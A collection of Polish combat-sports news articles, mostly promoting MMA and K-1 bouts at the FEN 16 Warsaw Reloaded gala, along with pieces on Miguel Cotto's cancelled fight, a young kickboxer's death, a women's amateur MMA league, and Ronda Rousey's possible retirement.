Były zawodnik UFC Paweł Pawlak oraz autor najlepszego nokautu gali FEN 13 Ireneusz Szydłowski 11 marca ponownie wejdą do klatkoringu Fight Exclusive Night, by zmierzyć się ze sobą w jednej z najciekawszych walk MMA podczas FEN 16 Warsaw Reloaded na Torwarze.

Paweł Pawlak (28 lat, 182 cm, 11-3) to jeden z niewielu polskich zawodników, którzy podpisali kontrakt z UFC. Jego przepustką do oktagonu amerykańskiego giganta była efektowna seria 10 zwycięstw z rzędu, od których łodzianin rozpoczął swoją zawodową karierę. W UFC "Plastinho" stoczył trzy walki – pokonał Kanadyjczyka Sheldonem Westcottem, ale przegrał z Niemcem Peterem Sobottą i Leonem Edwardsem z Anglii, co przekreśliło jego szanse na przedłużenie przygody z tą organizacją. Po powrocie do Polski Pawlak związał się z federacją FEN i wiosną ubiegłego roku zadebiutował na gali FEN 12 Feel The Force we Wrocławiu. Pojedynek z Igorem "Chatubinhą" Fernandesem nie poszedł jednak po jego myśli – łodzianin nie wytrzymał kondycyjnie i jednogłośną decyzją sędziów wygrał Brazylijczyk. "Plastinho" wyciągnął wnioski z tych niepowodzeń: ostro pracował nad formą, wyleczył wszystkie kontuzje i dziś jest stuprocentowo gotów na to, by na FEN 16 Warsaw Reloaded powrócić na ścieżkę zwycięstw.

Ireneusz Szydłowski (43 lata, 181 cm, 6-1), mimo że jest o 15 lat starszy i ma na koncie o połowę mniej walk, z pewnością będzie dla Pawlaka trudnym przeciwnikiem. Pochodzący z Trójmiasta weteran jest żywym dowodem na to, że nigdy nie jest za późno na realizację pasji i marzeń. Regularne uprawianie sportów walki – zanim wybrał MMA, trenował boks, K-1 oraz BJJ – rozpoczął dopiero po trzydziestce, ale ciężka praca przynosi świetne efekty. Reprezentant Baltic MMA Fighters Gdańsk w siedmiu zawodowych walkach MMA przegrał tylko raz – i to niejednogłośną decyzją sędziów – z Anglikiem Shaunem "The Legend" Lomasem. W debiucie w Fight Exclusive Night na ubiegłorocznej gali FEN 13 Summer Edition Szydłowski zaimponował, pokonując w drugiej rundzie faworyzowanego Bartosza „Hulka” Chyrka. Akcja, rozpoczęta potężnym front-kickiem na wątrobę, po której leżącego już na deskach rywala zasypał gradem ciosów, przyniosła mu nie tylko szóste zwycięstwo w karierze, ale i bonus za najlepszy nokaut wakacyjnej gali w Gdyni.

FEN 16 Warsaw Reloaded to druga gala federacji Fight Exclusive Night w Warszawie. W walkach o pas mistrzowskie w formule MMA zmierzą się Paweł Hadaś z Andrzejem Grzebykiem w kategorii średniej oraz Paweł Żelazowski z Kamilem Gniadkiem w kategorii półśredniej, a main eventem gali będzie starcie MMA Kamila Łebkowskiego z Brazylijczykiem Gabrielem Silvą. W fight cardzie znalazł się też pojedynek MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią oraz walka K-1 Arkadiusza Wrzoska z Arturem Bizewskim.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Silva vs Łebkowski w walce wieczoru FEN 16 Warsaw Reloaded

Niepokonany w zawodowym ringu Gabriel „Gabito” Silva będzie przeciwnikiem najlepszego polskiego „piórkowego” Kamila „Bomby” Łebkowskiego w walce wieczoru gali FEN 16 Warsaw Reloaded. 11 marca na Torwarze młodego Brazylijczyka z narożnika wspierać będzie jego walczący w UFC brat Erick "The Tiger" Silva.

22-letni Gabriel „Gabito” Silva (6-0, 2 KO, 2 SUB) to jeden z najbardziej perspektywicznych zawodników z Brazylii, któremu eksperci wróżą w niedalekiej przyszłości debiut w oktagonie UFC. Mimo młodego wieku utalentowany „Gabito” jest już posiadaczem czarnego pasa w brazylijskim jiu-jitsu i mistrzem stanu Espirito Santo w zapasach. Aktualnie jest również numer 1 w rankingu kickbokserów tego stanu. Obserwatorzy brazylijskiej sceny MMA podkreślają przede wszystkim jego wszechstronność, dobre wyszkolenie techniczne i inteligentny styl walki. Do walki z Kamilem Łebkowskim Gabriel Silva przygotowuje się w Tiger’s Den MMA Gym w rodzinnym mieście Vila Velha, powstałym na bazie szkoły Erick Silva Pro Fight Academia, gdzie trenuje nie tylko ze swoim bratem, ale też z byłą gwiazdą organizacji Pride i UFC, Japończykiem Akihiro Gono. Walka na gali FEN 16 Warsaw Reloaded będzie jego pierwszym zagranicznym, a jednocześnie najważniejszym występem w karierze – z dotychczasowych swoich pojedynków za najlepszy uważa starcie z Viniciusem Baraldo na gali Jungle Fight 50, które wygrał nokautującymi ciosami w parterze już w 28. sekundzie walki.

Dla 29-letniego Kamila „Bomby” Łebkowskiego (15-4, 8 KO, 2 SUB) walka z Gabrielem Silvą będzie drugą w klatkoringu Fight Exclusive Night. W debiucie na gali FEN 13 Summer Edition, uznanym za jedno z najważniejszych wydarzeń polskiego MMA w 2016 roku, odniósł bezapelacyjne zwycięstwo nad byłym zawodnikiem UFC Piotrem Hallmannem. Było to dziesiąte zwycięstwo z rzędu reprezentanta klubu Dziki Wschód Biała Podlaska, który ostatniej porażki doznał blisko cztery lata temu. W ubiegłym roku zapisał on na swoim koncie jeszcze inny spektakularny sukces – wpisał się do historii jako pierwszy zawodnik z Polski, który nie tylko walczył, ale i wygrał na arenie World Series of Fighting, jednej z głównych organizacji MMA na świecie. „Bomba” na gali WSOF Global Championship 2 w Tokio uciszył miejscową publiczność, potężnym podbródkowym w 4. minucie pierwszej rundy powalając Japończyka Yoshihiro Koyamę.

11 marca podczas FEN 16 Warsaw Reloaded na Torwarze kibiców czekają też dwie walki o tytuły mistrzowskie FEN w formule MMA: Andrzeja Grzebyka z Pawłem Hadasiem o pierwszy w historii pas w kategorii średniej oraz Pawła Żelazowskiego z Kamilem Gniadkiem o pas w wadze półśredniej. Bardzo inetersująco zapowiadają się także walki K-1 Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz pojedynki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Przestraszył się rywala? Złamany nos wymówką?

25 lutego w Teksasie Miguel Cotto miał zmierzyć się z Jamesem Kirklandem, jednak do pojedynku nie dojdzie. Amerykanin złamał nos, ale Portorykańczyk ma wątpliwości, czy jego niedoszły rywal nie symuluje urazu.

Zdarza się, że na ostatniej prostej bokser wypada z karty walk z powodu kontuzji. Rozpoczyna się poszukiwanie zastępcy, czemu towarzyszy pośpiech i nadzieja, że uda się wszystko zapiąć na ostatni guzik. Nie w tym wypadku… Gala w Teksasie została odwołana. Miguel Cotto musi szukać kolejnego rywala, bo bardzo chce wejść do ringu. Po raz ostatni walczył w listopadzie 2015 roku.

Kirkland udaje?

Taką teorię wysnuł 36-letni Cotto. Portorykańczyk oczekuje, że rywal zaprezentuje dowody, które przedstawią jego niedyspozycję. – Decyzja jest zrozumiała, jeśli doszło do kontuzji. Chciałabym, żeby Kirkland i jego team przedstawili dowody, które potwierdzą złamanie nosa – powiedział Cotto.

Portorykańczyk jest rozczarowany, bo przez kilkanaście tygodni przygotowywał się intensywnie do lutowego starcia. Teraz może usiąść wygodnie i czekać. Sytuacja nie rozwija się po myśli Cotto, który jest u schyłku kariery, o czym sam mówił. 36-latek planuje zakończyć przygodę z boksem w 2017 roku. Podkreśla, że nadszedł moment, w którym należy skupić się na rodzinie.

Mówiło się, że prawdopodobnie Cotto stoczy jeszcze dwa pojedynki. 25 lutego miał stanąć do rywalizacji z Kirklandem, jednak sytuacja skomplikowała się. 32-letni Amerykanin zrezygnował z rywalizacji z powodu kontuzji nosa. Ringowe dokonania Kirklanda mogą imponować, bo aż 28 z 32 walk zakończył przed czasem. Ostatnio, 9 maja 2015 roku, przegrał przez nokaut z Saulem Alvarezem. Od tamtego czasu nie walczył. Z pewnością pojedynek Amerykanina i Portorykańczyka mógłby dostarczyć wrażeń, jednak trzeba obejść się smakiem.

Co ciekawe, Cotto w swojej ostatniej walce poległ z Alvarezem. Na szali pojawił się pas mistrza świata WBC w kategorii średniej. Sędziowie jednogłośnie wskazali na Meksykanina.

Kto rywalem Cotto?

Wśród potencjalnych rywali Cotto pojawiło się nazwisko Juana Manuela Marqueza. Po raz ostatni Meksykanin walczył ponad dwa lata temu. W hali Forum w Inglewood pokonał Mike'a Alvarado. Swego czasu 43-letni Marquez brylował na ringu i zdobywał tytuły mistrzowskie w wadze junior półśredniej, lekkiej, piórkowej oraz junior lekkiej. Dawno nie prezentował się w ringu, więc trudno ocenić jego formę. Cotto nie wyklucza starcia z Meksykaninem, jednak stawia sprawę jasno. Liczą się pieniądze. 36-letni Portorykańczyk podkreśla, że przez czas, który został mu do zakończenia kariery chce zarobić jak najwięcej. 

Z pewnością gwarancją realizacji celu dla Cotto byłoby rewanżowe starcie z Saulem Alvarezem. Portorykańczyk zaznaczył swoją gotowość do rywalizacji z 26-latkiem. 6 maja Alvarez zmierzy się z Julio Cesarem Chavezem Jr., a później możliwe, że dojdzie do jego walki z Giennadijem Gołowkinem. Czy Cotto ma szansę, żeby wpasować się w kalendarza Meksykanina? Przewijają się informacje, że może w grudniu. Pożyjemy, zobaczymy.

KM

Tragiczna śmierć młodego kickboxera

Śmierć zawsze jest ogromnym przeżyciem dla tych, którym przychodzi się z nią zmierzyć. Strata bliskiej osoby jest niezwykle bolesna, a pogodzenie się z jej odejściem bardzo trudne. Dotarła do nas niezwykle smutna informacja. W wieku 17 lat zmarł Jakub Szczęsny, który odnosił sukcesy w kickboxingu.

W takich chwilach rodzi się tylko jedno pytanie: dlaczego. Zwłaszcza, że chodzi o młodego i mającego całe życie przed sobą chłopaka, który miał ogromną pasję i talent. Urońmy łzę i zawsze o nim pamiętajmy.

Jakub Szczęsny trenował w klubie FC Knurów. Zapowiadał się na niezwykle ciekawego zawodnika, który od najmłodszych lat przejawiał niezwykły potencjał. Wielka kariera stała u jego stóp…

Szczęsny zapisał na swoim koncie potrójne mistrzostwo Polski Federacji UFR. Oprócz kickboxingu, uprawiał również taekwondo, w którym odnosił sukcesy. W 2014 roku wywalczył złoty medal Otwartych Mistrzostw Holandii. Największym osiągnięciem w jego karierze było zdobycie mistrzostwa świata w kickboxingu. Po najwyższy laur sięgnął w październiku we Włoszech na Zunifikowanych Mistrzostwach Świata UWCh.

Konsekwentnie realizował swoją pasję i odnosił sukcesy. W takich chwilach trudno cokolwiek napisać… Gdy odchodzi tak młody człowiek, przychodzi refleksja nad tym, że w życiu trzeba cieszyć się obecnością bliskich każdego dnia.

Śmierć zawodnika wstrząsnęła całym klubem FC Knurów. – „Odszedł od nas” Jakub Szczęsny nasz klubowy kolega, wspaniały zawodnik Kickboxingu i Taekwondo. Wszyscy zapamiętamy go jako uśmiechniętego, wesołego i inteligentnego chłopaka z wyjątkowym zapałem do treningu. Łączymy się w bólu z rodziną Kuby – napisano na facebookowej stronie klubu.

Fot. FC Knurów Facebook

KM

Ladies Fight Night patronem żeńskich pojedynków na MAC – MMA Amator Cup

Już 11 lutego, w Łęcznej, zadebiutuje organizacja MAC konfrontująca zawodników chcących zapewnić sobie miejsce w reprezentacji Polski na Mistrzostwa Świata czy Europy w amatorskim MMA. Ladies Fight Night objęła patronatem walki kobiet podczas MMA AMATOR CUP i tym samym rozpoczęła współpracę z ligą sportową. Najlepsze zawodniczki mają szansę na kontrakt i debiut zawodowy podczas gal LFN. To kolejny krok organizacji, która wyraźnie zaznacza swoje miejsce na rynku kobiecego MMA.

Podczas pierwszego wydarzenia w Łęcznej będziemy świadkami 14 pojedynków toczonych na amatorskich zasadach MMA na dystansie 3 rund 3 minutowych. Każdy pojedynek będzie oparty na zasadach Uni Fight Rules. W karcie walk gali w Łęcznej znalazły się trzy żeńskie pojedynki.

Magdalena Albrecht – reprezentantka klubu BJJ Pankration Włodawa, wychowanka Marcina Poźniaka, zmierzy się z mniej doświadczoną reprezentantką klubu Górnik Łęczna MMA – Izabelą Walczak, która choć od niedawna trenuje MMA, na swoim koncie ma już tytuł Vice Mistrzyni Polski ALMMA – Amatorska Liga MMA. Będzie to starcie dwóch zawodniczek z Lubelszczyzny w kategorii słomkowej do 52 kg. W drugim pojedynku Aleksanda Rola, dwukrotna mistrzyni Polski ALMMA w kategori do 52 kg oraz posiadaczka  mistrzowskiego pasa federacji AFC zmierzy się z Natalią Matląg trenującą na co dzień w Szkole Walki Drwala, która będzie chciała zrewanżować się podczas MAC 1 za przegraną w Lublinie w ubiegłym roku. W podwyższonym limicie kategorii koguciej do 65 kg Adrianna Stańkowska zmierzy się z Nikoliną Sokołowską. Adrianna jest zawodniczką trenującą na co dzień w klubie BJJ Pankration Włodawa, zaś Nikola trenuje w MMA TEAM EŁK.

„Naszym celem od początku jest promocja kobiecego MMA, dlatego objęcie patronatem żeńskich pojedynków podczas MMA AMATOR CUP, gdzie występować będą najlepiej zapowiadające się polskie zawodniczki, to dla LFN naturalna droga. Cały czas poszukujemy młodych talentów i chcemy wspierać dziewczyny w rozwijaniu ich pasji a potem kariery zawodowej.” – mówi Łukasz Chmal, prezes organizacji Ladies Fight Night.

MAC to liga sportowa zrzeszająca zawodników amatorskiego MMA, sankcjonowana przez Polską Federację MMA (PFMMA). Podczas wydarzeń organizowanych przez MAC rywalizują tylko i wyłącznie amatorzy, chcący zdobyć doświadczenie przed karierą zawodową. Najlepsi zawodnicy walczą o miejsca w kadrze narodowej podczas Mistrzostw Świata w amatorkim MMA.

Ladies Fight Night jest pierwszą i jedyną w Europie żeńską organizacją sportów walki. Jak zapowiadają włodarze LFN zawodniczki, które najlepiej zaprezentują się podczas turniejów ligowych MAC i będą chciały rozpocząć karierę zawodową, mają otwartą drogę do współpracy z organizacją.

Oleksiejczuk vs Nosiglia na gali FEN 16 Warsaw Reloaded

Riccardo Nosiglia, który podczas gali FEN 15 Final Strike sensacyjnie pokonał Marcina Zontka, już 11 marca ponownie wystąpi w klatkoringu Fight Exclusive Night. Na gali FEN 16 Warsaw Reloaded na Torwarze rywalem włoskiego specjalisty od nokautów w pierwszych rundach będzie utalentowany polski prospekt Michał Oleksiejczuk.

Riccardo „The Walking Dead” Nosiglia (27 lat, 186 cm, 5-0), dwukrotny mistrz włoskiej organizacji Power Nation Fighting Championship w kategorii półciężkiej, to jedno z najnowszych odkryć federacji Fight Exclusive Night. Zawodnik Shoot Team Padwa, mimo że propozycję walki z Marcinem Zontkiem przyjął tydzień przed galą i po raz pierwszy walczył na tak dużej imprezie, w Lubinie zaprezentował się świetnie. Włoch szybko przejął inicjatywę, zdominował rywala i wygrał w stylu, który stał się już jego wizytówką – najpierw powalił  byłego pretendenta do pasa mistrzowskiego FEN na deski, a potem zasypał go gradem ciosów, po których sędzia przerwał pojedynek. Była to piąta zawodowa walka Nosiglii i jednocześnie piąta z rzędu, którą „The Walking Dead” skończył uderzeniami w parterze już w pierwszej rundzie.

Jego przeciwnik na gali FEN 16 Warsaw Reloaded, Michał „The Hammer” Oleksiejczuk (21 lat, 182 cm, 10-2), może pochwalić się jeszcze bardziej imponującą serią – reprezentant GKS Górnik Łęczna wygrał siedem kolejnych walk, pozostając niepokonanym od ponad dwóch lat. Jedno z tych zwycięstw odniósł na gali FEN 12 Feel The Force, wygrywając na punkty po ciężkim trzyrundowym boju ze szczecińskim Berserkerem Wojciechem Januszem. W ubiegłym roku Oleksiejczuk zdobył także, a później obronił tytuł mistrza lokalnej federacji Thunderstrike Fight League, pokonując Łukasza Borowskiego i Łukasza Klingera. Zdaniem ekspertów, „The Hammer” to jeden z tych młodych polskich fighterów MMA, którzy mają największe szanse na podpisanie w najbliższym czasie kontraktów z organizacją UFC.

FEN 16 Warsaw Reloaded będzie drugą galą organizacji Fight Exclusive Night w stolicy Polski. Federacja poinformowała wcześniej, że 11 marca na stołecznym Torwarze w walce wieczoru wystąpi najlepszy piórkowy polskiego MMA Kamil Łebkowski, a o pasy mistrzowskie FEN walczyć będą Paweł Żelazowski z Kamilem Gniadkiem w wadze półśredniej i Paweł Hadaś w kategorii średniej. W formule K-1 kibiców czeka starcie Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz walki Marcina Szredera i debiutującego w FEN Radosława Paczuskiego.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Hadaś vs Grzebyk o pas na FEN 16 Warsaw Reloaded

Dwóch agresywnie i widowiskowo walczących zawodników zmierzy się na gali FEN 16 Warsaw Reloaded w walce o pierwszy w historii tytuł mistrza organizacji Fight Exclusive Night w MMA kategorii średniej – 11 marca na Torwarze rywalem Pawła Hadasia  będzie Andrzej Grzebyk.

Dla Andrzeja Grzebyka (26 lat, 187 cm, 10-3, 4 KO, 3 SUB) będzie to trzeci występ w organizacji FEN – w ostatniej walce na gali FEN 14 Silesian Rage przez techniczny nokaut po pierwszej rundzie wygrał z Białorusinem Alexeyem Repalovem, a wcześniej na gali FEN 9 Go For It uległ minimalnie na punkty obecnemu zawodnikowi UFC Alessandro Di Chirico. Znany z bardzo ofensywnego stylu walki młody wojownik z Rzeszowa (aż 7 z 10 zwycięstw odniósł przez nokaut lub poddanie) pod koniec ubiegłego roku do swego bilansu dopisał jeszcze efektowny nokaut na gali Celtic Gladiator 11, ciosami w parterze rozbijając w pierwszej rundzie Irlandczyka z austriackim paszportem Floriana Herringera. Nieprzeciętnie utalentowany reprezentant Legion Team Tarnów może pochwalić się także zwycięstwami nad tak mocnymi fighterami, jak Mindaugas Verzbickas i Kamil Szymuszowski.

Drugi z pretendentów Paweł Hadaś (30 lat, 188 cm, 7-1, 6 SUB) na gali FEN 16 powalczy nie tylko o pas, ale i o przedłużenie imponującej serii 7 wygranych z rzędu. Dwa ostatnie zwycięstwa do tego rekordu doświadczony zawodnik Gracie Barra Chorzów i Paco Team Katowice dopisał w ubiegłym roku w klatkoringu FEN, duszeniami poddając Aleksandra Rychlika na gali FEN 10 Gold Edition i Pawła Brandysa na gali FEN 14 Silesian Rage. Choć chorzowianin wywodzi się z kickboxingu, to uchodzi za groźnego grapplera – jako amator zdobył Puchar Polski ADCC w brazylijskim jiu-jitsu i tytuł mistrza Polski w jiu-jitsu. Sukcesem Hadasia jest też finał turnieju Fightstar Promotions: Rage in the Cage 3 w Szkocji, do którego dotarł po pokonaniu Anglika Kyle’a Redfearna i Austriaka Markusa Di Gallo (z walki finałowej Polaka wykluczyła kontuzja).

Starcie Andrzeja Grzebyka z Pawłem Hadasiem będzie jedną z dwóch walk o pas mistrzowski FEN na gali 16 Warsaw Reloaded. 11 marca na Torwarze o tytuł w formule MMA w wadze średniej walczyć będą również Paweł Żelazowski z Kamilem Gniadkiem. Z kolei w main evencie o jedenaste zwycięstwo z rzędu powalczy znakomity piórkowy Kamil Łebkowski. Dużych emocji powinna dostarczyć również walka Michała Oleksiejczuka z Włochem Riccardo Nosiglią, pojedynek K-1 Artura Bizewskiego z Arkadiuszem Wrzoskiem oraz kickbokserskie walki z udziałem Radosława PaczuskiegoMarcina Szredera.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

To już koniec?

Wszystko wskazuje na to, że Ronda Rousey zakończy swoją przygodę z MMA. Po porażce z Amandą Nunes, Amerykanka postanowiła wziąć czas na przemyślenie swojej przyszłości. Zdaniem Dana White'a, Rousey zakończy karierę.

30 grudnia kibice MMA byli w szoku, gdy w starciu z Nunes zobaczyli bezradną „Rowdy”. Brazylijka w zaledwie 48 sekund odprawiła Amerykankę, która po zakończeniu rywalizacji unikała rozmów i kontaktu z mediami. 

Czas na przemyślenia

30-letnia Amerykanka wydała oświadczenie, w którym poinformowała, że potrzebuje czasu na przemyślenia i zastanowienie się nad swoją przyszłością. Wspaniała i bogata kariera Rousey znalazła się na zakręcie. Pierwsza mistrzyni UFC w wadze koguciej szła jak burza i w imponującym stylu wygrywała kolejne walki. Aż trafiła na Holly Holm, która wysokim kopnięciem potężnie ją zamroczyła i odebrała pas. Rousey liczyła na rewanż, głośno się o nim mówiło, jednak ostatecznie do niego nie doszło. Na jej powrót do oktagonu trzeba było czekać ponad rok. Wszyscy byli ciekawi, co zaprezentuje była mistrzyni. Niektórzy zacierali ręce i oczekiwali fajerwerków, ale tych nie było. Rousey wróciła, ale poległa z Amandą Nunes. Tak słabej i bezradnej „Rowdy” nikt nigdy nie widział.

Nie brakowało spekulacji, co dalej z karierą Rousey. Wiele osób stoi na stanowisku, że przygoda „Rowdy” z MMA dobiega końca. Potwierdził to Dan White. – Po rozmowie z nią, gdybym miał teraz ocenić i wydać opinię, to uważam, że ona już nie będzie walczyła, ale to jej decyzja. Według mnie, to koniec kariery. Jej zamiarem jest odejście i życie bez walki – powiedział szef UFC w programie UFC Unfiltered.

Zmieniła UFC

Mówi się, że „nieważne jak się zaczyna, ważne jak się kończy”. W przypadku Rondy Rousey nikt nie może mieć wątpliwości, że jest matką kobiecego MMA. To ona wyznaczała standardy rywalizacji, była i nadal jest twarzą tego sportu. Amerykanka dała wiele efektownych walk, na które widzowie czekali z niecierpliwością. Jednak przyszedł w moment, w którym musiała uznać wyższość rywalek. Można domniemywać, że nie uniosła ciężaru porażki, ale nikt nie podważy jej wpływu na obraz kobiecego MMA. 

Warto pamiętać, że wcześniej 30-letnia Amerykanka uprawiła judo, gdzie również odnosiła sukcesy. Z dotychczasowych wydarzeń można wysnuć wniosek, iż jest już tym zmęczona i chciałaby odpocząć, a w dalszej perspektywie podjąć kolejne wyzwania. Na ostateczną decyzję byłej mistrzyni UFC czekamy. Najlepszym potwierdzeniem jej dokonań są słowa Dana White'a. –  Jestem z niej zadowolony. Weszła do UFC i zmieniła świat – podkreślił.

KM